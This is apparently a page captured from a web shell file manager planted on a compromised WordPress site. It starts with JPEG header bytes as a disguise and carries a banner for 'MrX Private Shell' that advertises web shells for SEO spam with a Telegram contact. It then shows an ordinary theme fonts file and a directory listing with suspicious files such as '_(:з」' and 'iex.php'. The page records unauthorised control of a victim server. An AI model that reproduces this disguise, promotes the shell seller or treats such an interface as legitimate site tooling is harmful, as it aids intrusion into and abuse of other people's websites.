����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
// Replace default Google Fonts URL with custom Fonts
add_filter('pmthemes_google_fonts_url', 'pmthemes_google_fonts_url');
function pmthemes_google_fonts_url() {
// Get Theme Options from Database
$theme_options = pmthemes_theme_options();
// Default Fonts which haven't to be load from Google
$default_fonts = Pmthemes_Custom_Font_Lists::default_browser_fonts();
// Set Google Font Array
$google_font_families = array();
// Add Text Font
if( isset($theme_options['text_font']) and !in_array($theme_options['text_font'], $default_fonts)) :
$google_font_families[] = $theme_options['text_font'];
$default_fonts[] = $theme_options['text_font'];
endif;
// Add Site Title Font
if( isset($theme_options['site_title_font']) and !in_array($theme_options['site_title_font'], $default_fonts)) :
$google_font_families[] = $theme_options['site_title_font'];
$default_fonts[] = $theme_options['site_title_font'];
endif;
// Add Title Font
if( isset($theme_options['title_font']) and !in_array($theme_options['title_font'], $default_fonts)) :
$google_font_families[] = $theme_options['title_font'];
$default_fonts[] = $theme_options['title_font'];
endif;
// Add Navigation Font
if( isset($theme_options['navi_font']) and !in_array($theme_options['navi_font'], $default_fonts)) :
$google_font_families[] = $theme_options['navi_font'];
$default_fonts[] = $theme_options['navi_font'];
endif;
// Add Widget Title Font
if( isset($theme_options['widget_title_font']) and !in_array($theme_options['widget_title_font'], $default_fonts)) :
$google_font_families[] = $theme_options['widget_title_font'];
$default_fonts[] = $theme_options['widget_title_font'];
endif;
// Setup Google Font URLs
$query_args = array(
'family' => urlencode( implode( '|', $google_font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$google_fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
return $google_fonts_url;
}
// Add new Custom CSS styles for custom fonts
add_action( 'wp_enqueue_scripts', 'pmthemes_css_fonts');
function pmthemes_css_fonts() {
// Get Theme Options from Database
$theme_options = pmthemes_theme_options();
// Get Default Fonts from settings
$theme_def = pmthemes_default_options();
// Set Font CSS Variable
$font_css = '';
// Set Default Text Font
if ( isset($theme_options['text_font']) and $theme_options['text_font'] <> $theme_def['text_font'] ) :
$font_css .= 'body, input, textarea {font-family: "'.esc_attr($theme_options['text_font']).'";}';
endif;
// Site Title Font
if ( isset($theme_options['site_title_font']) and $theme_options['site_title_font'] <> $theme_def['site_title_font'] ) :
$font_css .= '#logo .site-title {font-family: "'.esc_attr($theme_options['site_title_font']).'";}';
endif;
// Set Title Font
if ( isset($theme_options['title_font']) and $theme_options['title_font'] <> $theme_def['title_font'] ) :
$font_css .= '.page-title, .post-title, #frontpage-slider .pmsslide .slide-entry .slide-title,#comments .comments-title, #respond #reply-title {font-family: "'.esc_attr($theme_options['title_font']).'";}';
endif;
// Set Navigation Font
if ( isset($theme_options['navi_font']) and $theme_options['navi_font'] <> $theme_def['navi_font'] ) :
$font_css .= '.menu-toggle, .nav-menu li a, #topnav-menu a {font-family: "'.esc_attr($theme_options['navi_font']).'";}';
endif;
// Set Widget Title Font
if ( isset($theme_options['widget_title_font']) and $theme_options['widget_title_font'] <> $theme_def['widget_title_font'] ) :
$font_css .= '.widgettitle, #frontpage-magazine-widgets .widget .widgettitle {font-family: "'.esc_attr($theme_options['widget_title_font']).'";}';
endif;
// Print Font CSS
if ( $font_css ) {
wp_add_inline_style( 'pmthemes-custom', $font_css );
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| customizer | Folder | 0755 |
|
|
| lightbox | Folder | 0755 |
|
|
| widgets | Folder | 0755 |
|
|
| _(:з」 | File | 95.97 KB | 0644 |
|
| custom-colors.php | File | 35.58 KB | 0644 |
|
| custom-fonts.php | File | 3.91 KB | 0644 |
|
| custom-logo.php | File | 1.05 KB | 0644 |
|
| custom-styles.php | File | 12.29 KB | 0644 |
|
| featured-content.php | File | 14.95 KB | 0644 |
|
| iex.php | File | 6.86 KB | 0644 |
|
| index.php | File | 0 B | 0644 |
|
| options.php | File | 3.36 KB | 0644 |
|
| related.php | File | 4.18 KB | 0644 |
|
| theme-functions.php | File | 15.62 KB | 0644 |
|
| theme-tags.php | File | 13.84 KB | 0644 |
|
| update.php | File | 2.69 KB | 0644 |
|
| wp-cleanup.php | File | 844 B | 0644 |
|